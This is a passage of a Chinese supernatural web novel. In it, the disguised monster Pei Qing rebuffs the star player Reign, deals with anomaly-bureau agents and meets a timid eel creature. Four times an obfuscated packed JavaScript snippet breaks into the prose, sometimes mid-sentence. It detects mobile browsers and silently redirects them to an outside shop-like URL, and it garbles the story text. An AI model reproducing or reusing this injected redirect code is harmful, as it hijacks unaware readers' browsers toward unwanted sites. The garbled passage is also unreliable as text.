入乡随俗,以他普通人的身份,这声“R神”总该喊。 跟在Reign身后的跟班似乎也是游戏中出来的玩家,姿态趾高气昂,得亏裴箐个高,他可没有和别人鼻孔对视的爱好。 Reign出乎意料的扭捏:“你……你叫什么?” 刚才在检测室安蓝三人只认为机器出问题,Reign却觉得此人不容小觑,机器出问题一定有他的功劳。 这就是他身为R神的敏锐。 裴箐眉毛轻挑,没有正面回答他的问题:“有事吗?” Reign磨蹭脚步凑近:“交个朋友?” 熟悉的话语,在副本里碰见时,Reign对他说过一模一样的话。 裴箐往后退了一步,笑眯眯地说:“R神,我就是一介平民,您真是高看我了。” Reign不敢相信此等愚民竟敢驳回他的交友申请! Reign怒气冲冲地走了,带着他的两个跟班。 裴箐心情大好,连带看异管局都顺眼不少。 网约车很快就到,裴箐终于在零点前回到家,不对,裴箐摇摇头,他又不是灰姑娘,不会在零点失去魔法。 镜湖小区的隔音效果不好,裴箐还没打开门,就听见客厅里传来两道说话声。 “又死了!阚元白你到底会不会玩!” “阿旋,你先别生气……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536150|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 诸如此类的对话,裴箐听过无数次。 裴箐勾起安静躺在鞋柜上的手镯,拖腔拉调开口:“我说,二位,没经过主人的同意擅闯他人房屋,是犯法的。” 顺着目光看去,沙发一左一右坐着两尊大神。 左边扎着单边低麻花的女人正是宁旋,右边气质温柔、看上去低眉顺眼的男人便是处理浊血时提到的“元白”。 阚元白惊喜地抬头:“阿箐,你去哪儿了?” “被抓去异管局,”裴箐顺手把钥匙往茶几上一扔,“一点小问题。” 宁旋狐疑:“发现你的特殊了?怎么没被抓去做研究?” 裴箐轻嗤一声:“就算被发现,谁能抓到我。” 宁旋:“……你改名叫傲慢吧。” 阚元白在他们说话的间隙,以迅雷不及掩耳之速走到厨房套上了围裙,试图躲避宁旋劈天盖地的责问。 还好裴箐回来的及时,让他免除了一场浩劫。 阚元白右手持锅铲,从厨房里探出头:“阿箐,我们买了食材和底料,你想吃火锅还是麻辣烫?” 裴箐会做饭,但他懒得做,他的冰箱里一般只有速冻食品,每次阚元白两人来他家,都会买一堆食物帮他塞满冰箱。 裴箐拾起扔在沙发上的手柄,头也不回地高声说:“麻辣烫!” 不知道是不是宁旋和他说了自己心心念念麻辣烫,如果不是,他们可真心有灵犀。 裴箐手臂撑在沙发靠背上,没操作两下游戏人物,厨房里“哐当”一声巨响,炸得所有人停下了动作。 阚元白领着浊血出来:“阿箐,你家这只诡异,怎么躲在电饭煲里?” 浊血在阚元白手中瑟瑟发抖。 阚元白被浊血吓到,下意识泄露了一丝诡异的气息,浊血触及那抹比它强大不知多少倍的气息,整团血害怕得蜷缩成一小团。 裴箐没想到它对电饭煲爱得如此深沉,望着地上一次都没用过就光荣退休的残骸,陷入沉思。 他是不是带了个累赘回来? 宁旋长吁短叹:“终于发现我们也是诡异了。” 还有一只?!浊血不敢抬头看,趁着阚元白松懈的缝隙,飞速转入沙发底,试图掩盖存在的事实。 裴箐无奈地说:“你别吓它。” “它自己胆小,跟我有什么关系。”宁旋说,“别当主人当上瘾。” 裴箐轻笑:“没这爱好。” 诡异以强者为尊,没有人类世界人人平等的观念,因此,在宁旋和阚元白的眼中,浊血不如路边一只敢冲他们嚎叫的流浪猫。 “对了,你看看这个。”裴箐把镯子抛过去,“想办法把它弄坏。” 宁旋稳稳接过镯子,没来得及仔细看,手镯燃起蓝黑色的火,瞬息之间,再没柔和的光泽。 宁旋莫名其妙:“这是什么?” “解决了?”裴箐惊叹不已,“早知道昨天就带给你,省的我走异管局一趟。” 屋子里两只诡异的等级太高,异管局的机器已经无法检测,超出它的承载范围,自然无法再使用。 宁旋很无语:“你怎么不自己……” 在敲门声到来前,宁旋噤了声。 裴箐扫了一眼蹲在沙发下发抖的浊血,慢吞吞挪到大门边。 “……怎么是你。有事吗?” 5. 第五章 暴躁如雷的Reign在异管局无头苍蝇似的转了几圈,还是纡尊降贵亲自上门拜访裴箐。 既然能在排行榜上排到二十三,Reign自然有他的过人之处。 除了灵活的大脑和强健的体魄,Reign身上还有一个至关重要的能力。 幸运。 Reign是个运气很好的人,在副本中多少次命悬一线,总有贵人救他于水火之中。 因为多次绝处逢生,Reign在网络上被戏称“好运哥”。 从见到裴箐的第一面起,Reign就觉得这人给他的感觉很奇特,有种世外高人的深不可测之气。 原本Reign都准备离开安城,越想越不对劲,在坐上专车的刹那停下动作,他吩咐两个跟班:“三分钟,我要他的所有信息。” 然后他出现在裴箐的家门口。 孤身一人。 Reign余光中瞥见裴箐家里有其他人,他鬼鬼祟祟地压低声音:“急事,我们旁边聊?” 裴箐不清楚他葫芦里卖的什么药,定定看了他十几秒,久到Reign久违的感觉到不自在,才点了点头。 两人来到消防出口的拐角处,Reign率先开口:“裴箐,有没有兴趣跟我回京市?” 裴箐想不通自己在异管局干了什么,让Reign如此念念不忘,但他没有表露出惊讶,而是说:“资料查得挺快。” 执行者有明确的等级划分,初级、中级、高级、特级,像Reign这种人才,上面一定恭恭敬敬用特级的待遇伺候他,他想调查一个人,恐怕不是什么难事。 “我不……我没查到你的什么资料,”Reign连忙摆手,“我的运气一直很好,你知道吧?” 想起几个小时前裴箐见到他的第一反应,Reign滞了一下,换了另一种介绍方式:“我在游戏里时运气一向很好,也总能碰到排行榜前面那几个人。但是今天,我一见你,就觉得你有他们的气质。” 裴箐有点想笑:“R神,我没有进过游戏,也没遇到过什么诡异,更没有什么高人气质,您真是高看我了。” 这么多年下来,裴箐早就扯谎扯习惯了,瞎话张口就来,毫不犹豫。 裴箐抬手看了眼压根没亮屏的手机:“时间不早了,R神,我得睡觉了,回见。” 说完就要转身离开。 Reign有种从未有过陌生感觉,如果今天放裴箐走,他一定会后悔。心里那股每次有贵人降临的别扭感又来了,而且越来越浓烈,几乎要弥漫他的整个身体。 “等等!”Reign仗着娇小的个子,灵活地从裴箐和消防门之间穿过去,张开双臂挡在他前面。 Reign咬着牙说:“你别喊我‘R神’,叫我名字就好。” 裴箐无奈耸肩:“我不知道你叫什么。” “我叫……”Reign从脖颈开始泛红,一路红到了脑门,好似下一秒头顶就会冒烟,“叫……” Reign不喜欢自己的本名,进入游戏时又正值中二年华,自诩天才降世一定能一路过关斩将拯救地球,在没多少墨水的肚子里搜刮了好几圈,才想出“Reign”这个嚣张的代号。 他都要忘了自己原本叫什么,骤然叫他喊出大名,怪不好意思的。 “阿箐,你们在这里做什么?” 没等Reign羞耻完,头顶突如其来的柔和声线打断了他的所有想法。 Reign僵硬地转过身,他竟然、完全没有、发觉身后有人。 阚元白的围裙还穿在身上,说话柔声细语:“饭做好了,这位小朋友是我们今天的客人吗?” 小、朋、友。 Reign僵在原地。 阚元白的用词彻底激怒了他,无奈心心念念的贵人站在一边,Reign忍气吞声,整个人气成一头斗牛。 裴箐率先迈步:“走吧R神,请你吃顿宵夜。” 路过阚元白时,裴箐勾过他的肩,连拖带拽把人拉回家。 阚元白被拉得踉跄,还不忘回头示意Reign跟上。 “裴箐,我登你游戏了,给个验证码!”宁旋早就放下了手柄,横着手机不知在干什么。 裴箐把手机扔给她:“帮我充下电。” 已是凌晨一点,窗外寂静一片,Reign看着他们打闹,陡然生出一抹羡慕。 他曾经历过不少单人副本,到最后,这种副本除了对抗诡异,还要防着玩家,久而久之,榜上有名的玩家们不约而同成为孤狼,渐渐习惯独行。他们失去朋友很久了。 裴箐指了指玄关右侧的四方桌,上面放着两碗蒸腾着热气的麻辣烫,示意Reign坐那儿去。 Reign有些局促,他不明白事情怎么就发展成这样,看看沙发上一起研究裴箐手机的两人,垂在身侧的手扣着裤缝,张了张嘴又闭上。 裴箐自顾自拉开椅子坐下:“他们减肥,不用管。” 裴箐很好奇,Reign能不能发现他屋子里装了一只C级诡异。 明明没人看他,却如坐针毡,Reign双手放在膝头,搭上那副稚嫩面孔,真像个乖巧听话的初中生。 Reign见裴箐完全不搭理他,飞快地说:“裴箐,不管你相不相信,我的预感一向很准,我觉得你一定有特殊的能力,在对付诡异上,只要你加入异管局,就算是这个犄角旮旯地方的异管局,我也能让你接受最好的栽培。为了人类的未来,我希望你能够接受我的请求。” 裴箐在他说出“我觉得你一定有特殊的能力”时没忍住弯了一下嘴角,该说不说,Reign这家伙的确很幸运。 裴箐起了逗他的心:“R神,原来我这么重要,为了人类的未来?” Reign的脸又涨得通红,一路从耳后根红到脖颈,嗫嚅着说不出一句完整的话。 裴箐笑吟吟看着他。 这下,Reign除了忍受着四周压根不存在的目光,还要接受来自裴箐的审视,哐当一声巨响,他站起身,飞快说了句“你考虑一下这是我的联系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536151|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式”,顾不上吃痛的膝盖,跌跌撞撞逃离这个让他尴尬无比的地方。 一张写着Reign微信号的便签晃悠悠落下,伴随着裴箐惊天动地的笑声。 “哈哈哈哈哈……”裴箐笑倒在餐椅靠背上。 阚元白担忧地望着Reign离去的方向:“阿箐,你好过分啊……” 裴箐把对面那份动都没动的麻辣烫拉到自己面前,说:“过分什么,至少哪天他出事,就算没有向我求救,我也会帮他一次。” “你不过分,明明知道人家年纪不小,还喊‘小朋友’。”宁旋冷笑,毫不客气拆穿他。 “是啊,”裴箐附和,“元白,你比我还过分。” 阚元白哑口无言:“我是、是……他看我是普通人,我怎么会知道他的年纪。” 几句话说的前言不搭后语,裴箐还是能够理解他的意思,但作为年轻人,哪里有不刷手机的,在网络这样发达的情况下,不认识Reign才显得奇怪。 宁旋突然问:“你真的要加入异管局?” “谁说的。”裴箐诧异,“朋友多年,宁旋,我要怀疑我们之间的感情了。” 宁旋翻了个白眼:“我跟你有屁的感情。” 浊血似乎终于鼓起勇气,在头顶两座大山的震慑下,从沙发底下滚了出来。 裴箐从碗里夹了块培根扔到地上:“终于愿意出来了?” 浊血:“……”它是狗吗?! 浊血忍气吞声,将那块对他来说味道并不美妙的食物吞噬。 裴箐将Reign留下的纸条团成一团扔向宁旋:“加下他。” 宁旋嘟哝着展开纸条:“我真是闲得慌,堂堂七……” 她突然止住话语,几秒后,一字一句地读:“安蓝:裴哥,你什么时候有空,我们大队长想和你见一面。这是那个租客小妹?” 阚元白语气担忧:“又是想让阿箐加入异管局的人吗?” “不至于啊……”裴箐收拾碗筷的动作顿住,“我什么也没干,他们要做什么?” 裴箐觉得,要么是Reign来找他被发现了,要么是异管局的机器真的坏了,要让他赔。 如果是第二种,裴箐可以很明确地说,他赔不起。 如果是第一种,他真该提醒下Reign,堂堂榜二十三,居然被小城市的异管局寻到踪迹。 裴箐沉吟片刻:“你跟她说,给个时间,我去见。” “她问晚上八点行不行。” 裴箐表示可以。 阚元白依然十分担忧:“阿箐,会有危险吗?要不要我们跟在你身后?” 每次阚元白说这种话,裴箐都有种面对某知名高僧的错觉,他幽幽道:“元白,如果唐三藏在世的话,你真该和他交流交流,一定很有共同话题。” 诡异不用读书,阚元白好奇地问:“唐三藏是谁?” 宁旋理所当然地说:“笨啊,是个帅哥和尚。” 裴箐难得被别人的话噎住“……你也多看书吧。” 6. 第六章 装潢奢华的私房菜馆坐落在闹市僻静一角,恰好七点五十五分,裴箐抵达约定地点。 这家私房菜馆不算大,收银台摆在门口,往前两步是点餐台。 点餐台边上,立着一个大号玻璃水缸,是店里养水产用的,里面泡着几条活鱼,还有几条滑溜溜的鳗鱼,沉在水底,一动不动。 店内食客不多,空闲的服务员站在收银台边刷手机,似乎没注意店里来客人。 裴箐问:“你好,包厢811哪边走?” 服务员慌慌忙忙抬头:“81…昂,这边,我带您去。” 裴箐摆手:“不用,我自己过去就好。” 他穿过没坐几桌客人的大堂,拐了两个弯,终于看见挂着“811”牌子的房间。 叩叩叩。三声门响,有人为他开了门。 竟然是沈责这个技术人员,裴箐微微颔首,视线扫过包厢,里面坐着一个人,想来是安蓝口中的“大队长”。 女人靠着椅背,双手十指交叉相扣,轻轻搁在膝头。 见裴箐进包厢,她起身伸出右手:“裴先生,终于见面了。” 裴箐顺势和她握手。 女人说:“我叫佘海玉,坐。” 裴箐依言在她对面落座。 佘海玉开门见山:“裴先生,不管你的想法如何,希望先听一下我们接下来的话,再作决定。” 裴箐做了个“请”的手势。 佘海玉给沈责使了一个眼色。 沈责心领神会,坐直了身体,说话像背书:“所谓的副本,和现实住址完全挂钩。曾经无限逃生游戏中何其有名的副本【瓦房村】【福寿养老院】,我们对外界的解释是游戏对现实世界的映射,但事实上,那就是完全的现实场景。” “虽然六年前上面发出通告,我们和游戏完全融合,事实上这种说法不算完全正确。诡异只会在曾经副本降临过的地方出现,玩家通关副本则意味该地已被“净化”,依照这个条件,目前诡异世界和人类世界的重合率是百分之五十。” “我们指的完全融合,是诡异是否能够在人类世界发挥所有力量。” 裴箐骨节分明的手指摩挲着手机边的金属中框,低垂眼睫,叫人摸不清他的想法。 这些事,裴箐比任何一个人类都早清楚,没想到佘海玉会允许沈责坦率地告诉他。 裴箐没有露出他们想象中的惊讶,轻笑了声,身子轻轻往后一仰,靠在了椅背上,姿态放松:“佘队长今天来找我,是因为损坏的机器,还是Reign?” 佘海玉缓缓抬眼,视线抬起的瞬间,恰好和裴箐的目光撞个正着。两人就这么静静对视,眼神里带着几分沉默的审视。 佘海玉说:“您很坦率。” 她拾起早已凉透的茶水,轻抿了一口:“不惊讶?” “很好理解吧,你们官方会瞒着我们普通人。”裴箐耸耸肩,“惊讶也没用。” 佘海玉若有所思地点头:“我们的确知道Reign独自一人拜访你,虽然目前没有明确的说明,但机器的损坏大概和你有关。” 裴箐倒吸一口凉气:“先说好,坏了的机器不要我赔吧?我就是一小老百姓,总不能让我因为这个背上贷款。” 佘海玉嘴角噙着笑:“当然不会。今天见面,是想邀请你加入异管局,薪资条件随意开,只要我们能做到。” 外界不清楚,异管局实际上没有太多能够出外勤的执行者,更别说安城这种小地方的异管局,一旦出现高等级诡异,将会面临灭顶之灾。 他们迫切地想要拉拢所有可能成为执行者的人。 裴箐自动忽略对方的组队邀请,想了想,问:“我有一个问题。” 佘海玉示意他说。 裴箐回想前一天凌晨向小西家的境况,他一直有关注游戏直播,在他的印象中,那块地方并没有被副本选中过。 裴箐问:“按照你们的说法,其他没有副本降临的地方,完全不可能出现诡异?” “是的。”沈责回答的很肯定,“至少迄今为止我们没有发现类似情况。” 浊血是什么情况? 裴箐微微眯起眼,试图在佘海玉和沈责身上寻找出一丝谎言的气息。 很可惜,他失败了。 “那么,从游戏出来的人是不是有特殊的能力?”裴箐又问,“比如……” 既然大灾变自称“游戏”,游戏闯关成功,一定会掉落道具奖励。虽然掉落道具直播间不会播报,但从后续玩家的表现不难看出,是获得了一些特殊工具。 所以,如果某位玩家突然使出无法使用科学解释的手段,大家几乎认定是用了游戏掉落的道具。 沈责觑着佘海玉的神情,直至判断出领导肯定的答复,才说:“是。” “除了玩家,接触过诡异的普通人也有概率觉醒能力,网络上对异管局所有战斗人员称呼【执行者】其实存在非常大的错误,在我们的划分里,只有觉醒能力,才能被称作【执行者】。” 裴箐摊手:“但我没有特殊能力。” 佘海玉说:“我们相信Reign的判断。” 气氛处在微妙的试探里。 裴箐要笑不笑地看着他们,到嘴边的“抱歉”还没出口,下一秒,毫无预兆,整间餐馆的温度,骤然往下一坠。 从骨头缝里钻进去黏腻阴冷的凉,带着腐朽湿滑的寒意,瞬间铺满整个餐馆。 门外倏地安静下来。 无论喧闹嘈杂的人声,还是服务员吆喝走动的声音,都像被一只无形的大手猛地掐断。 桌子上升腾的饭菜热气,以肉眼可见的速度一点点消散。 暖黄的灯光微微晃了一下,光线变得发沉,像蒙上了一层灰蒙蒙的阴霾。 一股带着水腥滑腻味道的阴冷气息凭空浮现,牢牢笼罩住整座餐馆。 整个餐馆彻底陷入一片死寂。 包厢内两人神色同时一变,异变突生,没人注意裴箐依旧那副懒散模样,手指有一下没一下地点着椅面,端的是一个轻松自在。 裴箐视线落在紧盯着包厢门的佘海玉身上。 佘海玉几乎在阴冷气息漫入包厢的瞬间浑身绷紧。 “队长,什么级别的?”沈责压低声音问。 “D级以下。”佘海玉说,“大概率E级。” 她说得轻描淡写,无论是E级还是D级诡异,对于普通人来说是灭顶之灾,但对于这位队长来说,确实算不上什么大场面。 沈责明显松了口气。 笃定强弱之后,佘海玉没有半点犹豫,神色冷沉,二话不说起身走向包厢门。 那阵阴冷潮湿的气息越来越浓了,像有什么东西在包厢的墙壁背后缓缓蠕动。 包厢里,沈责也跟着站起身,他作为技术人员,没有太大的自保能力,只敢站在佘海玉身后的地方。 裴箐思考片刻,也起身站到她身后。 听见脚步声,佘海玉状似无意地说:“裴先生,你好像不害怕?” 裴箐弯眼一笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536152|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有佘队长在,我当然安心。” 佘海玉眸光一沉,目光直直落在裴箐身上,自上而下又自下而上,慢慢将人从头到脚仔细打量了一遍。 眼神里带着审视,还有几分探究。 裴箐坦然让她打量个够。 佘海玉却收回了目光,拉开门,外面却不是餐馆走廊。 裴箐越过两人的头顶看到了门外的景象。 那是一条被湿漉漉的雾气裹住的狭窄通道,两旁的墙壁像是巨大的鱼鳞,一片一片地叠在一起,每片都有巴掌大,表面覆盖着一层滑腻的黏液。 “你在这里等我们。” 冰冷的一句话扔下,佘海玉没有犹豫,一步跨了进去,沈责紧跟其后。 他们的身影在跨过门框的瞬间变得模糊,然后彻底消失在那条湿漉漉的通道深处。 门框还开着,那片不属于餐馆的景象像一张巨口,静静地朝着裴箐的方向敞开。 来之前裴箐还想要不要假装新手,结果在车上演半天,终究被拙劣的演技打败,决定无所畏惧地做自己。 他倒是做自己了,谁承想在旁人眼里他再冷静,也只觉得在虚张声势。 没人会相信一个游戏都“没进过”、一只诡异都“没直面”过的新人会如此游刃有余。 裴箐静静站在距离包厢门五十公分不到的地方,一分钟后,那只诡异做了一件很有意思的事。 它把门关上了。 裴箐在心底哂笑,他也打算出去逛逛,当他的手触到门把手的一刻,感觉到门板另一侧有什么东西猛地缩了一下。 裴箐没管对方丰富细腻的内心戏,直直推开门,外面是正常的餐馆走廊。 整个餐馆彻底陷在一片死寂中。 所有食客全都保持着前一秒的动作,定格僵在原地。 有人举筷悬在半空,有人嘴巴微张正要说话,有人抬手正要招呼服务员,一个个眼神空洞,如同被抽走魂魄的人偶。 裴箐走到了点餐台旁的水缸前,蹲下身让自己的视线与水缸平齐。 他没说话,只是把右手抬起来,指节在玻璃上轻轻叩了一下。 嗒。 角落里那只鳗鱼猛地痉挛了一下,像被电流击中,整个身体弓成一个不自然的弧度,然后“啪”地翻了个白肚皮。 它装死了。 裴箐:“……” 他盯着那条肚皮朝上、尾巴僵硬、鳃盖都不动了的鳗鱼看了几秒钟,又敲了一下玻璃。 鱼没动。 再敲一下。 依然没动。 D级诡异胆小鳗鱼,能力是空间折叠和气息隐匿,胆子极小。 遇到天敌时会装死,遇到人类时会把人扔进自己的巢穴空间里,它不吃人,纯粹因为太害怕,本能地想把人关起来,好让自己安全地躲着。 胆小鳗鱼的巢穴通常是它自己身体的某种拓扑映射,也就是说,那时看到的墙壁、地面、天花板,本质上都是这只鳗鱼身体的一部分。 在领养浊血之前,胆小鳗鱼算是裴箐十分中意的宠物备选,可惜一次也没碰见过,今天这场相遇注定没有结果,他想,就算浊血不介意,他也不能在佘海玉眼皮子底下把那只鳗鱼带走,不然麻烦的就是他了。 裴箐惆怅地看着水缸里装死的鳗鱼,满心遗憾。 胆小鳗鱼见面前这个令无数诡异闻风丧胆的大魔王不仅用奇怪的眼神看它,还一句话也不讲,它在水中扑棱几下,慌慌张张地说:“大人,我没有要打扰你……” 7. 第七章 “那你解释解释,”裴箐偏了偏头,“认识我,怎么还把我朋友抓进去?” 胆小鳗鱼的嘴张了张又合上,反复几次,终于,那个尖细的声音再次响起。 “我、我……我不知道他们是您的人……” “我问的不是这个。”裴箐说。 胆小鳗鱼哆嗦了一下。 “我……我不是故意的……”它变调的说话声尖细地像在哭泣,“我真的不是故意的……我要是知道他们是跟您一起的,我、我就算把自己炸了我也不敢动他们……” 胆小鳗鱼语无伦次地说:“他……他们是坏人,您……”” “你知道他们是异管局的,然后吞了他们?” “我害怕他们呀!”它急得快炸了,“我看到他们就会害怕,一害怕就会吞,吞完就后悔,后悔完更害怕……!” 裴箐看着它。 胆小鳗鱼缩在水缸最角落,整个身体蜷成一个小团,鳞片炸得浑身像颗松果,那两只漆黑的圆眼睛不停地往各个方向瞟,就是不敢看裴箐。 顿了顿,那个声音又响起来。 “而且……我吞的时候,您也没拦我啊……” 裴箐沉默了一瞬。 这话倒是没法反驳。 他当时确实没拦,一来他不能暴露自己特殊的能力;二来……好吧,他也确实有点想看佘海玉和沈责被困住之后会怎么处理。 但这话不能跟面前这条炸毛的鱼说。 “他们现在在你肚子里?”裴箐把话题拉回来。 “空间层里……”胆小鳗鱼小声纠正,“是最外面那层,消化层还没到……我不会消化他们的,真的不会,我就是想把他们困一会儿,等我跑远了再放出来……” “你跑?” “我就是想跑……”胆小鳗鱼语气居然带上了一点委屈,“我本来只是想躲在这个餐馆里待几天的,谁知道他们会来啊……您来之前也没跟我打过招呼啊……” 裴箐被它这倒打一耙的语气气笑了。 “我欠你的?” 胆小鳗鱼立刻闭嘴了。 裴箐没再说话,他靠着水缸旁边的墙,低头想了一会儿。 半晌,裴箐开口。 “依他们的能力,从你肚子里出来,要多久?” “那个女的……她身上有不少道具,看行动是标准的学院派。”胆小鳗鱼说起这些的时候,居然有几分专业,“那个男的能力不强。” “所以?” “所以……大概要一个半小时到两个小时吧。”胆小鳗鱼小心翼翼地给出了判断。 和裴箐自己的判断差不多。 他又沉默几秒,直起身,拍拍裤腿上蹭到的灰。 “行,”裴箐说,“你先关着他们。” 胆小鳗鱼愣住了。 “……啊?” “啊什么,”裴箐把手机从兜里掏出来看了一眼时间,“你关都关了,我又不能把你炖了。他们自己会出来的。” 胆小鳗鱼的嘴张着,鳃盖翕动着,一双黑眼睛瞪得溜圆,呆呆地看着裴箐施施然在空位置坐下,拿出手机开始打游戏。 它完全没预料到这个走向。 在它的预想里,这个大魔王应该会手指一弹把它灰飞烟灭,或者面无表情地把整个空间撕开把人捞出来,又或者用某种它连想象都不敢想象的手段惩罚它。 就这么走了? 过了好一会儿,它才把自己从过滤器后面慢慢挪出来,吐出一串细小的气泡。气泡在水里慢慢升上去,碎裂在水面。 裴箐靠在柔软的背垫上,拇指在屏幕上划了两下,打开游戏。 匹配界面弹出来的瞬间,他忽然想起一件事,偏头朝着水缸的方向看了一眼。 那只鱼的身体似乎在颤抖,看起来像是快要散架。 胆小鳗鱼的另一个能力,时间停滞,范围不大,效果也不算强,通常只能维持一秒钟。 可现在,裴箐低头看了眼手机,从他出门到现在,已经过去了几分钟,所有人都还定着身。 整个餐馆依然凝固着,裴箐手指轻轻敲动桌面,撤去胆小鳗鱼那层停滞,换上自己的力量。 裴箐大概可以理解它的做法,简而言之,是为了讨好他。 又打了将近一个小时的游戏,裴箐起起坐坐,几乎将餐馆晃了个遍,佘海玉二人还没有要出来的迹象。 裴箐百无聊赖地盯着胆小鳗鱼看。突然,他说:“你能不能把本体露出来看看?” 胆小鳗鱼一瞬间大脑空白,它那双圆眼睛直直地盯着裴箐,瞳孔缩成一个针尖大的点,整个身体呈现出一种完全僵死的状态。 “?”裴箐挑眉,“听见没有?” 胆小鳗鱼猛地一哆嗦,旋即疯狂哀嚎:“呜——不要杀我——求求你不要杀我——我真的不是故意的——我以后再也不敢了——求求你我上有老下有小——” 裴箐的太阳穴突地跳了一下。 “呜呜呜——我愿意做牛做马——我可以给你当探子——我知道很多诡异的消息——我可以——” “闭嘴。” 它的声音戛然而止。 裴箐揉了揉太阳穴,眉头微微蹙起:“你再叫一声,我现在就弄死你。” 胆小鳗鱼的整个身体在那一瞬间变成了透明,灰褐色的鳞片褪去了颜色,露出下面近乎透明的皮肉。 这是胆小鳗鱼的应激反应之一,遇到致命威胁时,身体会进入半透明状态,试图和环境融为一体。 虽然这招在面对裴箐的时候,大概和掩耳盗铃是同一个效果。 裴箐语气无奈:“我就是想看看你的本体,怕什么?” 胆小鳗鱼张了想说话,发现自己还是被静音的状态,它疯狂地朝着裴箐眨眼。 裴箐看了它一眼,看着它滑稽的动作,没忍住笑了一声,他干咳两声,撤去了那层静音的压制。 胆小鳗鱼的声音还带着刚才哭嚎过后的沙哑:“您……您只要看我的本体?” “嗯。” “为……为什么?” 裴箐想了想,给出一个非常诚实的答案:“好奇。” 胆小鳗鱼那并不大的脑袋飞速旋转。 因为好奇。 一个让整个诡异圈闻风丧胆的存在,对它说“好奇”。这就像一只猫蹲在老鼠洞口,对里面的老鼠说“我就是想看看你长什么样,不吃你”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536153|203815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但它不敢拒绝,都市传闻的力量太强大,在传闻中裴箐可是个会生啖诡异肉的魔鬼,胆小鳗鱼从降生起就听这些传闻。 “我……我的本体有点大……”它小心翼翼地开口,“这个鱼缸装不下……” “那就换个大的地方。” “换……哪儿?” 裴箐偏过头思考,目光扫过整个餐馆大厅,少顷,手一指难得的一块空地:“就这儿,反正他们都暂停着,看不见。” 胆小鳗鱼泪眼汪汪,咕嘟咕嘟的眼泪不断和水缸里的水混在一起。 “快点,”裴箐催促,“我一会儿还要回包厢等人。” 胆小鳗鱼深吸了一口气。 如果一条鱼可以深吸一口气的话。 然后它闭上眼睛。 实际上鱼并没有可以“闭上”的眼睑,裴箐清楚地看到,那双漆黑的圆瞳被一层半透明的膜从内部覆盖了。 紧接着,整个水缸开始震动。 水面上出现了细小的涟漪,一圈一圈地扩散开来。 它的身体开始变化。 灰褐色的鳞片覆盖上来身体,每一片都在变大的过程中呈现出更深的颜色,从灰褐到深灰,从深灰到近乎墨色。 它的头部也在变化,吻部变长,两侧的鳃裂加深,从鳃裂的缝隙里透出一丝幽蓝色的光。 胆小鳗鱼的本体,正在从那条不起眼的小鱼中挣脱出来。 裴箐右手支着下颚,看得很认真。 他曾在一个副本远远碰见过胆小鳗鱼,可惜对方跑的太快,以他当时的身份也不好拦下它,后来出了副本,他问了阚元白才知道,那只发着蓝光的奇异生物是胆小鳗鱼。 水缸里的水变成了某种浓稠的水银状液体。 那道暗色的形体像一条蛇一样从鱼缸口探出来,无声地滑落到地面上,继续延伸。 它的身体表面覆盖着细密的鳞片,头部已经成形了,一张宽而扁的嘴,两侧各有一道裂至眼后的鳃线,鳃裂里透出的幽蓝色光芒比刚才更亮了一些。 那东西还在长。 裴箐不得不起身往后退了几步,他坐着的地方已经被占据了。 滑腻且带着微微湿气的躯体从他脚边蜿蜒而过,鳞片擦过他的鞋面时发出细碎的沙沙声。 裴箐视线跟着那道身体移动。 从水缸里探出来的部分已经超过三米,而且还在往外延伸。 那道暗色的身体在地上盘成了一个不规则的圈,头部埋在身体的最中央。它的头部确实还保留着一些鱼类的特征,但身体更接近于某种原始的生物。 长大了倒是更方便能看出胆小鳗鱼在发抖。 人不吃诡异,但诡异会吃诡异。 裴箐想起宁旋曾跟他说想尝尝红烧胆小鳗鱼什么味道,那时他刚表达完自己想养胆小鳗鱼的渴望,对恶毒的宁旋无言以对。 宁旋那种身份的诡异,不会纡尊降贵亲自找低等级诡异,裴箐自然也不会。 今天运气不错,终于让他碰上心念已久的家伙。 裴箐对着这只模样奇怪的生物咔咔拍了好几张照片,发给宁旋。 裴箐:看我看到了什么 裴箐:怎么样 8. 第八章 宁旋连发两行问号表达她的疑问。 